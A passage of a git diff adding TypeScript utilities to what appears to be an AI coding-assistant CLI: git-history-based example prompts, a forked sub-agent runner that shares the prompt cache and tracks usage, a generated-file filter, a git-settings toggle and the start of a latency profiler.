+      '1000',
+      '--pretty=format:',
+      '--name-only',
+      '--diff-filter=M',
+    ]
+
+    const counts = new Map<string, number>()
+    const tallyInto = (stdout: string) => {
+      for (const line of stdout.split('\n')) {
+        const f = line.trim()
+        if (f) counts.set(f, (counts.get(f) ?? 0) + 1)
+      }
+    }
+
+    if (userEmail) {
+      const { stdout } = await execFileNoThrowWithCwd(
+        'git',
+        [...logArgs, `--author=${userEmail}`],
+        { cwd: getCwd() },
+      )
+      tallyInto(stdout)
+    }
+
+    // Fall back to all authors if the user's own history is thin.
+    if (counts.size < 10) {
+      const { stdout } = await execFileNoThrowWithCwd(gitExe(), logArgs, {
+        cwd: getCwd(),
+      })
+      tallyInto(stdout)
+    }
+
+    const sorted = Array.from(counts.entries())
+      .sort((a, b) => b[1] - a[1])
+      .map(([p]) => p)
+
+    return pickDiverseCoreFiles(sorted, 5)
+  } catch (err) {
+    logError(err as Error)
+    return []
+  }
+}
+
+const ONE_WEEK_IN_MS = 7 * 24 * 60 * 60 * 1000
+
+export const getExampleCommandFromCache = memoize(() => {
+  const projectConfig = getCurrentProjectConfig()
+  const frequentFile = projectConfig.exampleFiles?.length
+    ? sample(projectConfig.exampleFiles)
+    : '<filepath>'
+
+  const commands = [
+    'fix lint errors',
+    'fix typecheck errors',
+    `how does ${frequentFile} work?`,
+    `refactor ${frequentFile}`,
+    'how do I log an error?',
+    `edit ${frequentFile} to...`,
+    `write a test for ${frequentFile}`,
+    'create a util logging.py that...',
+  ]
+
+  return `Try "${sample(commands)}"`
+})
+
+export const refreshExampleCommands = memoize(async (): Promise<void> => {
+  const projectConfig = getCurrentProjectConfig()
+  const now = Date.now()
+  const lastGenerated = projectConfig.exampleFilesGeneratedAt ?? 0
+
+  // Regenerate examples if they're over a week old
+  if (now - lastGenerated > ONE_WEEK_IN_MS) {
+    projectConfig.exampleFiles = []
+  }
+
+  // If no example files cached, kickstart fetch in background
+  if (!projectConfig.exampleFiles?.length) {
+    void getFrequentlyModifiedFiles().then(files => {
+      if (files.length) {
+        saveCurrentProjectConfig(current => ({
+          ...current,
+          exampleFiles: files,
+          exampleFilesGeneratedAt: Date.now(),
+        }))
+      }
+    })
+  }
+})
diff --git a/_all-in-one-upload/cc-haha/src/utils/forkedAgent.ts b/_all-in-one-upload/cc-haha/src/utils/forkedAgent.ts
new file mode 100644
index 0000000..eff9595
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/utils/forkedAgent.ts
@@ -0,0 +1,689 @@
+/**
+ * Helper for running forked agent query loops with usage tracking.
+ *
+ * This utility ensures forked agents:
+ * 1. Share identical cache-critical params with the parent to guarantee prompt cache hits
+ * 2. Track full usage metrics across the entire query loop
+ * 3. Log metrics via the tengu_fork_agent_query event when complete
+ * 4. Isolate mutable state to prevent interference with the main agent loop
+ */
+
+import type { UUID } from 'crypto'
+import { randomUUID } from 'crypto'
+import type { PromptCommand } from '../commands.js'
+import type { QuerySource } from '../constants/querySource.js'
+import type { CanUseToolFn } from '../hooks/useCanUseTool.js'
+import { query } from '../query.js'
+import {
+  type AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+  logEvent,
+} from '../services/analytics/index.js'
+import { accumulateUsage, updateUsage } from '../services/api/claude.js'
+import { EMPTY_USAGE, type NonNullableUsage } from '../services/api/logging.js'
+import type { ToolUseContext } from '../Tool.js'
+import type { AgentDefinition } from '../tools/AgentTool/loadAgentsDir.js'
+import type { AgentId } from '../types/ids.js'
+import type { Message } from '../types/message.js'
+import { createChildAbortController } from './abortController.js'
+import { logForDebugging } from './debug.js'
+import { cloneFileStateCache } from './fileStateCache.js'
+import type { REPLHookContext } from './hooks/postSamplingHooks.js'
+import {
+  createUserMessage,
+  extractTextContent,
+  getLastAssistantMessage,
+} from './messages.js'
+import { createDenialTrackingState } from './permissions/denialTracking.js'
+import { parseToolListFromCLI } from './permissions/permissionSetup.js'
+import { recordSidechainTranscript } from './sessionStorage.js'
+import type { SystemPrompt } from './systemPromptType.js'
+import {
+  type ContentReplacementState,
+  cloneContentReplacementState,
+} from './toolResultStorage.js'
+import { createAgentId } from './uuid.js'
+
+/**
+ * Parameters that must be identical between the fork and parent API requests
+ * to share the parent's prompt cache. The Anthropic API cache key is composed of:
+ * system prompt, tools, model, messages (prefix), and thinking config.
+ *
+ * CacheSafeParams carries the first five. Thinking config is derived from the
+ * inherited toolUseContext.options.thinkingConfig — but can be inadvertently
+ * changed if the fork sets maxOutputTokens, which clamps budget_tokens in
+ * claude.ts (but only for older models that do not use adaptive thinking).
+ * See the maxOutputTokens doc on ForkedAgentParams.
+ */
+export type CacheSafeParams = {
+  /** System prompt - must match parent for cache hits */
+  systemPrompt: SystemPrompt
+  /** User context - prepended to messages, affects cache */
+  userContext: { [k: string]: string }
+  /** System context - appended to system prompt, affects cache */
+  systemContext: { [k: string]: string }
+  /** Tool use context containing tools, model, and other options */
+  toolUseContext: ToolUseContext
+  /** Parent context messages for prompt cache sharing */
+  forkContextMessages: Message[]
+}
+
+// Slot written by handleStopHooks after each turn so post-turn forks
+// (promptSuggestion, postTurnSummary, /btw) can share the main loop's
+// prompt cache without each caller threading params through.
+let lastCacheSafeParams: CacheSafeParams | null = null
+
+export function saveCacheSafeParams(params: CacheSafeParams | null): void {
+  lastCacheSafeParams = params
+}
+
+export function getLastCacheSafeParams(): CacheSafeParams | null {
+  return lastCacheSafeParams
+}
+
+export type ForkedAgentParams = {
+  /** Messages to start the forked query loop with */
+  promptMessages: Message[]
+  /** Cache-safe parameters that must match the parent query */
+  cacheSafeParams: CacheSafeParams
+  /** Permission check function for the forked agent */
+  canUseTool: CanUseToolFn
+  /** Source identifier for tracking */
+  querySource: QuerySource
+  /** Label for analytics (e.g., 'session_memory', 'supervisor') */
+  forkLabel: string
+  /** Optional overrides for the subagent context (e.g., readFileState from setup phase) */
+  overrides?: SubagentContextOverrides
+  /**
+   * Optional cap on output tokens. CAUTION: setting this changes both max_tokens
+   * AND budget_tokens (via clamping in claude.ts). If the fork uses cacheSafeParams
+   * to share the parent's prompt cache, a different budget_tokens will invalidate
+   * the cache — thinking config is part of the cache key. Only set this when cache
+   * sharing is not a goal (e.g., compact summaries).
+   */
+  maxOutputTokens?: number
+  /** Optional cap on number of turns (API round-trips) */
+  maxTurns?: number
+  /** Optional callback invoked for each message as it arrives (for streaming UI) */
+  onMessage?: (message: Message) => void
+  /** Skip sidechain transcript recording (e.g., for ephemeral work like speculation) */
+  skipTranscript?: boolean
+  /** Skip writing new prompt cache entries on the last message. For
+   *  fire-and-forget forks where no future request will read from this prefix. */
+  skipCacheWrite?: boolean
+}
+
+export type ForkedAgentResult = {
+  /** All messages yielded during the query loop */
+  messages: Message[]
+  /** Accumulated usage across all API calls in the loop */
+  totalUsage: NonNullableUsage
+}
+
+/**
+ * Creates CacheSafeParams from REPLHookContext.
+ * Use this helper when forking from a post-sampling hook context.
+ *
+ * To override specific fields (e.g., toolUseContext with cloned file state),
+ * spread the result and override: `{ ...createCacheSafeParams(context), toolUseContext: clonedContext }`
+ *
+ * @param context - The REPLHookContext from the post-sampling hook
+ */
+export function createCacheSafeParams(
+  context: REPLHookContext,
+): CacheSafeParams {
+  return {
+    systemPrompt: context.systemPrompt,
+    userContext: context.userContext,
+    systemContext: context.systemContext,
+    toolUseContext: context.toolUseContext,
+    forkContextMessages: context.messages,
+  }
+}
+
+/**
+ * Creates a modified getAppState that adds allowed tools to the permission context.
+ * This is used by forked skill/command execution to grant tool permissions.
+ */
+export function createGetAppStateWithAllowedTools(
+  baseGetAppState: ToolUseContext['getAppState'],
+  allowedTools: string[],
+): ToolUseContext['getAppState'] {
+  if (allowedTools.length === 0) return baseGetAppState
+  return () => {
+    const appState = baseGetAppState()
+    return {
+      ...appState,
+      toolPermissionContext: {
+        ...appState.toolPermissionContext,
+        alwaysAllowRules: {
+          ...appState.toolPermissionContext.alwaysAllowRules,
+          command: [
+            ...new Set([
+              ...(appState.toolPermissionContext.alwaysAllowRules.command ||
+                []),
+              ...allowedTools,
+            ]),
+          ],
+        },
+      },
+    }
+  }
+}
+
+/**
+ * Result from preparing a forked command context.
+ */
+export type PreparedForkedContext = {
+  /** Skill content with args replaced */
+  skillContent: string
+  /** Modified getAppState with allowed tools */
+  modifiedGetAppState: ToolUseContext['getAppState']
+  /** The general-purpose agent to use */
+  baseAgent: AgentDefinition
+  /** Initial prompt messages */
+  promptMessages: Message[]
+}
+
+/**
+ * Prepares the context for executing a forked command/skill.
+ * This handles the common setup that both SkillTool and slash commands need.
+ */
+export async function prepareForkedCommandContext(
+  command: PromptCommand,
+  args: string,
+  context: ToolUseContext,
+): Promise<PreparedForkedContext> {
+  // Get skill content with $ARGUMENTS replaced
+  const skillPrompt = await command.getPromptForCommand(args, context)
+  const skillContent = skillPrompt
+    .map(block => (block.type === 'text' ? block.text : ''))
+    .join('\n')
+
+  // Parse and prepare allowed tools
+  const allowedTools = parseToolListFromCLI(command.allowedTools ?? [])
+
+  // Create modified context with allowed tools
+  const modifiedGetAppState = createGetAppStateWithAllowedTools(
+    context.getAppState,
+    allowedTools,
+  )
+
+  // Use command.agent if specified, otherwise 'general-purpose'
+  const agentTypeName = command.agent ?? 'general-purpose'
+  const agents = context.options.agentDefinitions.activeAgents
+  const baseAgent =
+    agents.find(a => a.agentType === agentTypeName) ??
+    agents.find(a => a.agentType === 'general-purpose') ??
+    agents[0]
+
+  if (!baseAgent) {
+    throw new Error('No agent available for forked execution')
+  }
+
+  // Prepare prompt messages
+  const promptMessages = [createUserMessage({ content: skillContent })]
+
+  return {
+    skillContent,
+    modifiedGetAppState,
+    baseAgent,
+    promptMessages,
+  }
+}
+
+/**
+ * Extracts result text from agent messages.
+ */
+export function extractResultText(
+  agentMessages: Message[],
+  defaultText = 'Execution completed',
+): string {
+  const lastAssistantMessage = getLastAssistantMessage(agentMessages)
+  if (!lastAssistantMessage) return defaultText
+
+  const textContent = extractTextContent(
+    lastAssistantMessage.message.content,
+    '\n',
+  )
+
+  return textContent || defaultText
+}
+
+/**
+ * Options for creating a subagent context.
+ *
+ * By default, all mutable state is isolated to prevent interference with the parent.
+ * Use these options to:
+ * - Override specific fields (e.g., custom options, agentId, messages)
+ * - Explicitly opt-in to sharing specific callbacks (for interactive subagents)
+ */
+export type SubagentContextOverrides = {
+  /** Override the options object (e.g., custom tools, model) */
+  options?: ToolUseContext['options']
+  /** Override the agentId (for subagents with their own ID) */
+  agentId?: AgentId
+  /** Override the agentType (for subagents with a specific type) */
+  agentType?: string
+  /** Override the messages array */
+  messages?: Message[]
+  /** Override the readFileState (e.g., fresh cache instead of clone) */
+  readFileState?: ToolUseContext['readFileState']
+  /** Override the abortController */
+  abortController?: AbortController
+  /** Override the getAppState function */
+  getAppState?: ToolUseContext['getAppState']
+
+  /**
+   * Explicit opt-in to share parent's setAppState callback.
+   * Use for interactive subagents that need to update shared state.
+   * @default false (isolated no-op)
+   */
+  shareSetAppState?: boolean
+  /**
+   * Explicit opt-in to share parent's setResponseLength callback.
+   * Use for subagents that contribute to parent's response metrics.
+   * @default false (isolated no-op)
+   */
+  shareSetResponseLength?: boolean
+  /**
+   * Explicit opt-in to share parent's abortController.
+   * Use for interactive subagents that should abort with parent.
+   * Note: Only applies if abortController override is not provided.
+   * @default false (new controller linked to parent)
+   */
+  shareAbortController?: boolean
+  /** Critical system reminder to re-inject at every user turn */
+  criticalSystemReminder_EXPERIMENTAL?: string
+  /** When true, canUseTool must always be called even when hooks auto-approve.
+   *  Used by speculation for overlay file path rewriting. */
+  requireCanUseTool?: boolean
+  /** Override replacement state — used by resumeAgentBackground to thread
+   * state reconstructed from the resumed sidechain so the same results
+   * are re-replaced (prompt cache stability). */
+  contentReplacementState?: ContentReplacementState
+}
+
+/**
+ * Creates an isolated ToolUseContext for subagents.
+ *
+ * By default, ALL mutable state is isolated to prevent interference:
+ * - readFileState: cloned from parent
+ * - abortController: new controller linked to parent (parent abort propagates)
+ * - getAppState: wrapped to set shouldAvoidPermissionPrompts
+ * - All mutation callbacks (setAppState, etc.): no-op
+ * - Fresh collections: nestedMemoryAttachmentTriggers, toolDecisions
+ *
+ * Callers can:
+ * - Override specific fields via the overrides parameter
+ * - Explicitly opt-in to sharing specific callbacks (shareSetAppState, etc.)
+ *
+ * @param parentContext - The parent's ToolUseContext to create subagent context from
+ * @param overrides - Optional overrides and sharing options
+ *
+ * @example
+ * // Full isolation (for background agents like session memory)
+ * const ctx = createSubagentContext(parentContext)
+ *
+ * @example
+ * // Custom options and agentId (for AgentTool async agents)
+ * const ctx = createSubagentContext(parentContext, {
+ *   options: customOptions,
+ *   agentId: newAgentId,
+ *   messages: initialMessages,
+ * })
+ *
+ * @example
+ * // Interactive subagent that shares some state
+ * const ctx = createSubagentContext(parentContext, {
+ *   options: customOptions,
+ *   agentId: newAgentId,
+ *   shareSetAppState: true,
+ *   shareSetResponseLength: true,
+ *   shareAbortController: true,
+ * })
+ */
+export function createSubagentContext(
+  parentContext: ToolUseContext,
+  overrides?: SubagentContextOverrides,
+): ToolUseContext {
+  // Determine abortController: explicit override > share parent's > new child
+  const abortController =
+    overrides?.abortController ??
+    (overrides?.shareAbortController
+      ? parentContext.abortController
+      : createChildAbortController(parentContext.abortController))
+
+  // Determine getAppState - wrap to set shouldAvoidPermissionPrompts unless sharing abortController
+  // (if sharing abortController, it's an interactive agent that CAN show UI)
+  const getAppState: ToolUseContext['getAppState'] = overrides?.getAppState
+    ? overrides.getAppState
+    : overrides?.shareAbortController
+      ? parentContext.getAppState
+      : () => {
+          const state = parentContext.getAppState()
+          if (state.toolPermissionContext.shouldAvoidPermissionPrompts) {
+            return state
+          }
+          return {
+            ...state,
+            toolPermissionContext: {
+              ...state.toolPermissionContext,
+              shouldAvoidPermissionPrompts: true,
+            },
+          }
+        }
+
+  return {
+    // Mutable state - cloned by default to maintain isolation
+    // Clone overrides.readFileState if provided, otherwise clone from parent
+    readFileState: cloneFileStateCache(
+      overrides?.readFileState ?? parentContext.readFileState,
+    ),
+    nestedMemoryAttachmentTriggers: new Set<string>(),
+    loadedNestedMemoryPaths: new Set<string>(),
+    dynamicSkillDirTriggers: new Set<string>(),
+    // Per-subagent: tracks skills surfaced by discovery for was_discovered telemetry (SkillTool.ts:116)
+    discoveredSkillNames: new Set<string>(),
+    toolDecisions: undefined,
+    // Budget decisions: override > clone of parent > undefined (feature off).
+    //
+    // Clone by default (not fresh): cache-sharing forks process parent
+    // messages containing parent tool_use_ids. A fresh state would see
+    // them as unseen and make divergent replacement decisions → wire
+    // prefix differs → cache miss. A clone makes identical decisions →
+    // cache hit. For non-forking subagents the parent UUIDs never match
+    // — clone is a harmless no-op.
+    //
+    // Override: AgentTool resume (reconstructed from sidechain records)
+    // and inProcessRunner (per-teammate persistent loop state).
+    contentReplacementState:
+      overrides?.contentReplacementState ??
+      (parentContext.contentReplacementState
+        ? cloneContentReplacementState(parentContext.contentReplacementState)
+        : undefined),
+
+    // AbortController
+    abortController,
+
+    // AppState access
+    getAppState,
+    setAppState: overrides?.shareSetAppState
+      ? parentContext.setAppState
+      : () => {},
+    // Task registration/kill must always reach the root store, even when
+    // setAppState is a no-op — otherwise async agents' background bash tasks
+    // are never registered and never killed (PPID=1 zombie).
+    setAppStateForTasks:
+      parentContext.setAppStateForTasks ?? parentContext.setAppState,
+    // Async subagents whose setAppState is a no-op need local denial tracking
+    // so the denial counter actually accumulates across retries.
+    localDenialTracking: overrides?.shareSetAppState
+      ? parentContext.localDenialTracking
+      : createDenialTrackingState(),
+
+    // Mutation callbacks - no-op by default
+    setInProgressToolUseIDs: () => {},
+    setResponseLength: overrides?.shareSetResponseLength
+      ? parentContext.setResponseLength
+      : () => {},
+    pushApiMetricsEntry: overrides?.shareSetResponseLength
+      ? parentContext.pushApiMetricsEntry
+      : undefined,
+    updateFileHistoryState: () => {},
+    // Attribution is scoped and functional (prev => next) — safe to share even
+    // when setAppState is stubbed. Concurrent calls compose via React's state queue.
+    updateAttributionState: parentContext.updateAttributionState,
+
+    // UI callbacks - undefined for subagents (can't control parent UI)
+    addNotification: undefined,
+    setToolJSX: undefined,
+    setStreamMode: undefined,
+    setSDKStatus: undefined,
+    openMessageSelector: undefined,
+
+    // Fields that can be overridden or copied from parent
+    options: overrides?.options ?? parentContext.options,
+    messages: overrides?.messages ?? parentContext.messages,
+    // Generate new agentId for subagents (each subagent should have its own ID)
+    agentId: overrides?.agentId ?? createAgentId(),
+    agentType: overrides?.agentType,
+
+    // Create new query tracking chain for subagent with incremented depth
+    queryTracking: {
+      chainId: randomUUID(),
+      depth: (parentContext.queryTracking?.depth ?? -1) + 1,
+    },
+    fileReadingLimits: parentContext.fileReadingLimits,
+    userModified: parentContext.userModified,
+    criticalSystemReminder_EXPERIMENTAL:
+      overrides?.criticalSystemReminder_EXPERIMENTAL,
+    requireCanUseTool: overrides?.requireCanUseTool,
+  }
+}
+
+/**
+ * Runs a forked agent query loop and tracks cache hit metrics.
+ *
+ * This function:
+ * 1. Uses identical cache-safe params from parent to enable prompt caching
+ * 2. Accumulates usage across all query iterations
+ * 3. Logs tengu_fork_agent_query with full usage when complete
+ *
+ * @example
+ * ```typescript
+ * const result = await runForkedAgent({
+ *   promptMessages: [createUserMessage({ content: userPrompt })],
+ *   cacheSafeParams: {
+ *     systemPrompt,
+ *     userContext,
+ *     systemContext,
+ *     toolUseContext: clonedToolUseContext,
+ *     forkContextMessages: messages,
+ *   },
+ *   canUseTool,
+ *   querySource: 'session_memory',
+ *   forkLabel: 'session_memory',
+ * })
+ * ```
+ */
+export async function runForkedAgent({
+  promptMessages,
+  cacheSafeParams,
+  canUseTool,
+  querySource,
+  forkLabel,
+  overrides,
+  maxOutputTokens,
+  maxTurns,
+  onMessage,
+  skipTranscript,
+  skipCacheWrite,
+}: ForkedAgentParams): Promise<ForkedAgentResult> {
+  const startTime = Date.now()
+  const outputMessages: Message[] = []
+  let totalUsage: NonNullableUsage = { ...EMPTY_USAGE }
+
+  const {
+    systemPrompt,
+    userContext,
+    systemContext,
+    toolUseContext,
+    forkContextMessages,
+  } = cacheSafeParams
+
+  // Create isolated context to prevent mutation of parent state
+  const isolatedToolUseContext = createSubagentContext(
+    toolUseContext,
+    overrides,
+  )
+
+  // Do NOT filterIncompleteToolCalls here — it drops the whole assistant on
+  // partial tool batches, orphaning the paired results (API 400). Dangling
+  // tool_uses are repaired downstream by ensureToolResultPairing in claude.ts,
+  // same as the main thread — identical post-repair prefix keeps the cache hit.
+  const initialMessages: Message[] = [...forkContextMessages, ...promptMessages]
+
+  // Generate agent ID and record initial messages for transcript
+  // When skipTranscript is set, skip agent ID creation and all transcript I/O
+  const agentId = skipTranscript ? undefined : createAgentId(forkLabel)
+  let lastRecordedUuid: UUID | null = null
+  if (agentId) {
+    await recordSidechainTranscript(initialMessages, agentId).catch(err =>
+      logForDebugging(
+        `Forked agent [${forkLabel}] failed to record initial transcript: ${err}`,
+      ),
+    )
+    // Track the last recorded message UUID for parent chain continuity
+    lastRecordedUuid =
+      initialMessages.length > 0
+        ? initialMessages[initialMessages.length - 1]!.uuid
+        : null
+  }
+
+  // Run the query loop with isolated context (cache-safe params preserved)
+  try {
+    for await (const message of query({
+      messages: initialMessages,
+      systemPrompt,
+      userContext,
+      systemContext,
+      canUseTool,
+      toolUseContext: isolatedToolUseContext,
+      querySource,
+      maxOutputTokensOverride: maxOutputTokens,
+      maxTurns,
+      skipCacheWrite,
+    })) {
+      // Extract real usage from message_delta stream events (final usage per API call)
+      if (message.type === 'stream_event') {
+        if (
+          'event' in message &&
+          message.event?.type === 'message_delta' &&
+          message.event.usage
+        ) {
+          const turnUsage = updateUsage({ ...EMPTY_USAGE }, message.event.usage)
+          totalUsage = accumulateUsage(totalUsage, turnUsage)
+        }
+        continue
+      }
+      if (message.type === 'stream_request_start') {
+        continue
+      }
+
+      logForDebugging(
+        `Forked agent [${forkLabel}] received message: type=${message.type}`,
+      )
+
+      outputMessages.push(message as Message)
+      onMessage?.(message as Message)
+
+      // Record transcript for recordable message types (same pattern as runAgent.ts)
+      const msg = message as Message
+      if (
+        agentId &&
+        (msg.type === 'assistant' ||
+          msg.type === 'user' ||
+          msg.type === 'progress')
+      ) {
+        await recordSidechainTranscript([msg], agentId, lastRecordedUuid).catch(
+          err =>
+            logForDebugging(
+              `Forked agent [${forkLabel}] failed to record transcript: ${err}`,
+            ),
+        )
+        if (msg.type !== 'progress') {
+          lastRecordedUuid = msg.uuid
+        }
+      }
+    }
+  } finally {
+    // Release cloned file state cache memory (same pattern as runAgent.ts)
+    isolatedToolUseContext.readFileState.clear()
+    // Release the cloned fork context messages
+    initialMessages.length = 0
+  }
+
+  logForDebugging(
+    `Forked agent [${forkLabel}] finished: ${outputMessages.length} messages, types=[${outputMessages.map(m => m.type).join(', ')}], totalUsage: input=${totalUsage.input_tokens} output=${totalUsage.output_tokens} cacheRead=${totalUsage.cache_read_input_tokens} cacheCreate=${totalUsage.cache_creation_input_tokens}`,
+  )
+
+  const durationMs = Date.now() - startTime
+
+  // Log the fork query metrics with full NonNullableUsage
+  logForkAgentQueryEvent({
+    forkLabel,
+    querySource,
+    durationMs,
+    messageCount: outputMessages.length,
+    totalUsage,
+    queryTracking: toolUseContext.queryTracking,
+  })
+
+  return {
+    messages: outputMessages,
+    totalUsage,
+  }
+}
+
+/**
+ * Logs the tengu_fork_agent_query event with full NonNullableUsage fields.
+ */
+function logForkAgentQueryEvent({
+  forkLabel,
+  querySource,
+  durationMs,
+  messageCount,
+  totalUsage,
+  queryTracking,
+}: {
+  forkLabel: string
+  querySource: QuerySource
+  durationMs: number
+  messageCount: number
+  totalUsage: NonNullableUsage
+  queryTracking?: { chainId: string; depth: number }
+}): void {
+  // Calculate cache hit rate
+  const totalInputTokens =
+    totalUsage.input_tokens +
+    totalUsage.cache_creation_input_tokens +
+    totalUsage.cache_read_input_tokens
+  const cacheHitRate =
+    totalInputTokens > 0
+      ? totalUsage.cache_read_input_tokens / totalInputTokens
+      : 0
+
+  logEvent('tengu_fork_agent_query', {
+    // Metadata
+    forkLabel:
+      forkLabel as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    querySource:
+      querySource as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    durationMs,
+    messageCount,
+
+    // NonNullableUsage fields
+    inputTokens: totalUsage.input_tokens,
+    outputTokens: totalUsage.output_tokens,
+    cacheReadInputTokens: totalUsage.cache_read_input_tokens,
+    cacheCreationInputTokens: totalUsage.cache_creation_input_tokens,
+    serviceTier:
+      totalUsage.service_tier as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+    cacheCreationEphemeral1hTokens:
+      totalUsage.cache_creation.ephemeral_1h_input_tokens,
+    cacheCreationEphemeral5mTokens:
+      totalUsage.cache_creation.ephemeral_5m_input_tokens,
+
+    // Derived metrics
+    cacheHitRate,
+
+    // Query tracking
+    ...(queryTracking
+      ? {
+          queryChainId:
+            queryTracking.chainId as AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+          queryDepth: queryTracking.depth,
+        }
+      : {}),
+  })
+}
diff --git a/_all-in-one-upload/cc-haha/src/utils/generatedFiles.ts b/_all-in-one-upload/cc-haha/src/utils/generatedFiles.ts
new file mode 100644
index 0000000..76d1412
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/utils/generatedFiles.ts
@@ -0,0 +1,136 @@
+import { basename, extname, posix, sep } from 'path'
+
+/**
+ * File patterns that should be excluded from attribution.
+ * Based on GitHub Linguist vendored patterns and common generated file patterns.
+ */
+
+// Exact file name matches (case-insensitive)
+const EXCLUDED_FILENAMES = new Set([
+  'package-lock.json',
+  'yarn.lock',
+  'pnpm-lock.yaml',
+  'bun.lockb',
+  'bun.lock',
+  'composer.lock',
+  'gemfile.lock',
+  'cargo.lock',
+  'poetry.lock',
+  'pipfile.lock',
+  'shrinkwrap.json',
+  'npm-shrinkwrap.json',
+])
+
+// File extension patterns (case-insensitive)
+const EXCLUDED_EXTENSIONS = new Set([
+  '.lock',
+  '.min.js',
+  '.min.css',
+  '.min.html',
+  '.bundle.js',
+  '.bundle.css',
+  '.generated.ts',
+  '.generated.js',
+  '.d.ts', // TypeScript declaration files
+])
+
+// Directory patterns that indicate generated/vendored content
+const EXCLUDED_DIRECTORIES = [
+  '/dist/',
+  '/build/',
+  '/out/',
+  '/output/',
+  '/node_modules/',
+  '/vendor/',
+  '/vendored/',
+  '/third_party/',
+  '/third-party/',
+  '/external/',
+  '/.next/',
+  '/.nuxt/',
+  '/.svelte-kit/',
+  '/coverage/',
+  '/__pycache__/',
+  '/.tox/',
+  '/venv/',
+  '/.venv/',
+  '/target/release/',
+  '/target/debug/',
+]
+
+// Filename patterns using regex for more complex matching
+const EXCLUDED_FILENAME_PATTERNS = [
+  /^.*\.min\.[a-z]+$/i, // *.min.*
+  /^.*-min\.[a-z]+$/i, // *-min.*
+  /^.*\.bundle\.[a-z]+$/i, // *.bundle.*
+  /^.*\.generated\.[a-z]+$/i, // *.generated.*
+  /^.*\.gen\.[a-z]+$/i, // *.gen.*
+  /^.*\.auto\.[a-z]+$/i, // *.auto.*
+  /^.*_generated\.[a-z]+$/i, // *_generated.*
+  /^.*_gen\.[a-z]+$/i, // *_gen.*
+  /^.*\.pb\.(go|js|ts|py|rb)$/i, // Protocol buffer generated files
+  /^.*_pb2?\.py$/i, // Python protobuf files
+  /^.*\.pb\.h$/i, // C++ protobuf headers
+  /^.*\.grpc\.[a-z]+$/i, // gRPC generated files
+  /^.*\.swagger\.[a-z]+$/i, // Swagger generated files
+  /^.*\.openapi\.[a-z]+$/i, // OpenAPI generated files
+]
+
+/**
+ * Check if a file should be excluded from attribution based on Linguist-style rules.
+ *
+ * @param filePath - Relative file path from repository root
+ * @returns true if the file should be excluded from attribution
+ */
+export function isGeneratedFile(filePath: string): boolean {
+  // Normalize path separators for consistent pattern matching (patterns use posix-style /)
+  const normalizedPath =
+    posix.sep + filePath.split(sep).join(posix.sep).replace(/^\/+/, '')
+  const fileName = basename(filePath).toLowerCase()
+  const ext = extname(filePath).toLowerCase()
+
+  // Check exact filename matches
+  if (EXCLUDED_FILENAMES.has(fileName)) {
+    return true
+  }
+
+  // Check extension matches
+  if (EXCLUDED_EXTENSIONS.has(ext)) {
+    return true
+  }
+
+  // Check for compound extensions like .min.js
+  const parts = fileName.split('.')
+  if (parts.length > 2) {
+    const compoundExt = '.' + parts.slice(-2).join('.')
+    if (EXCLUDED_EXTENSIONS.has(compoundExt)) {
+      return true
+    }
+  }
+
+  // Check directory patterns
+  for (const dir of EXCLUDED_DIRECTORIES) {
+    if (normalizedPath.includes(dir)) {
+      return true
+    }
+  }
+
+  // Check filename patterns
+  for (const pattern of EXCLUDED_FILENAME_PATTERNS) {
+    if (pattern.test(fileName)) {
+      return true
+    }
+  }
+
+  return false
+}
+
+/**
+ * Filter a list of files to exclude generated files.
+ *
+ * @param files - Array of file paths
+ * @returns Array of files that are not generated
+ */
+export function filterGeneratedFiles(files: string[]): string[] {
+  return files.filter(file => !isGeneratedFile(file))
+}
diff --git a/_all-in-one-upload/cc-haha/src/utils/gitSettings.ts b/_all-in-one-upload/cc-haha/src/utils/gitSettings.ts
new file mode 100644
index 0000000..f142995
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/utils/gitSettings.ts
@@ -0,0 +1,18 @@
+// Git-related behaviors that depend on user settings.
+//
+// This lives outside git.ts because git.ts is in the vscode extension's
+// dep graph and must stay free of settings.ts, which transitively pulls
+// @opentelemetry/api + undici (forbidden in vscode). It's also a cycle:
+// settings.ts → git/gitignore.ts → git.ts, so git.ts → settings.ts loops.
+//
+// If you're tempted to add `import settings` to git.ts — don't. Put it here.
+
+import { isEnvDefinedFalsy, isEnvTruthy } from './envUtils.js'
+import { getInitialSettings } from './settings/settings.js'
+
+export function shouldIncludeGitInstructions(): boolean {
+  const envVal = process.env.CLAUDE_CODE_DISABLE_GIT_INSTRUCTIONS
+  if (isEnvTruthy(envVal)) return false
+  if (isEnvDefinedFalsy(envVal)) return true
+  return getInitialSettings().includeGitInstructions ?? true
+}
diff --git a/_all-in-one-upload/cc-haha/src/utils/headlessProfiler.ts b/_all-in-one-upload/cc-haha/src/utils/headlessProfiler.ts
new file mode 100644
index 0000000..50aadaf
--- /dev/null
+++ b/_all-in-one-upload/cc-haha/src/utils/headlessProfiler.ts
@@ -0,0 +1,178 @@
+/**
+ * Headless mode profiling utility for measuring per-turn latency in -p (print) mode.
+ *
+ * Tracks key timing phases per turn:
+ * - Time to system message output (turn 0 only)
+ * - Time to first query started
+ * - Time to first API response (TTFT)
+ *
+ * Uses Node.js built-in performance hooks API for standard timing measurement.
+ * Sampled logging: 100% of ant users, 5% of external users.
+ *
+ * Set CLAUDE_CODE_PROFILE_STARTUP=1 for detailed logging output.
+ */
+
+import { getIsNonInteractiveSession } from '../bootstrap/state.js'
+import {
+  type AnalyticsMetadata_I_VERIFIED_THIS_IS_NOT_CODE_OR_FILEPATHS,
+  logEvent,
+} from '../services/analytics/index.js'
+import { logForDebugging } from './debug.js'
+import { isEnvTruthy } from './envUtils.js'
+import { getPerformance } from './profilerBase.js'
+import { jsonStringify } from './slowOperations.js'
+
+// Detailed profiling mode - same env var as startupProfiler
+// eslint-disable-next-line custom-rules/no-process-env-top-level
+const DETAILED_PROFILING = isEnvTruthy(process.env.CLAUDE_CODE_PROFILE_STARTUP)
+
+// Sampling for Statsig logging: 100% ant, 5% external
+// Decision made once at module load - non-sampled users pay no profiling cost
+const STATSIG_SAMPLE_RATE = 0.05
